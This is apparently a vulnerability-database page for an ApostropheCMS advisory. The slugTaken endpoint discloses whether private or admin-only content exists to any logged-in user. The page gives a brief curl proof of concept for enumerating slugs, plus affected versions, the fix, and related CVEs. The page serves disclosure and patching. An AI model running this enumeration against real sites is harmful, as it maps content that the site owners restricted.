CVE-2026-112952Medium· 4.3▾ SunlitApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user
▾ Sunlit zone — Low / medium · no exploitation signal
impact 23.7 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake.
Exploit-prediction probability, daily snapshots since Oct 21.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 0.3%
The slugTaken endpoint returns a boolean indicating whether a slug is in use across
all document types and visibility levels, with no permission or type filter. Any logged-in
user (including editors) can enumerate the slug space of private pages, drafts, and
archived content.
POST /api/v1/@apostrophecms/doc/slugTaken with body { "slug": "target-slug" } runs
a raw existence check against the documents collection. It does not:
visibility (public, loginRequired, private).viewRole.A single authenticated session can iterate the slug space to enumerate the full content inventory of the CMS, including content the user is explicitly prohibited from viewing.
# Any authenticated session works — editor role sufficient
curl -b "$EDITOR_JAR" -X POST \
-H "Content-Type: application/json" \
-d '{"slug":"known-private-page-slug"}' \
"http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": true } — confirms private page exists
curl -b "$EDITOR_JAR" -X POST \
-H "Content-Type: application/json" \
-d '{"slug":"zzz-nonexistent"}' \
"http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }
Information disclosure. An attacker with any authenticated session can enumerate all slugs in the system, mapping the full content structure of the CMS including private and admin-only content.
apostrophe < 4.34.0Upgrade to a patched release:
apostrophe 4.34.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-112954Medium· 5.3ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API
CVE-2026-112957Medium· 4.3ApostropheCMS: GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users
CVE-2026-113649Medium· 6.5ApostropheCMS: Import API bypasses publication roles for protected content
CVE-2026-112958Medium· 5.4ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization
CVE-2026-112951Medium· 5.4ApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefix
CVE-2026-113648Low· 3.1ApostropheCMS: Missing Authentication in `cleanExport` Route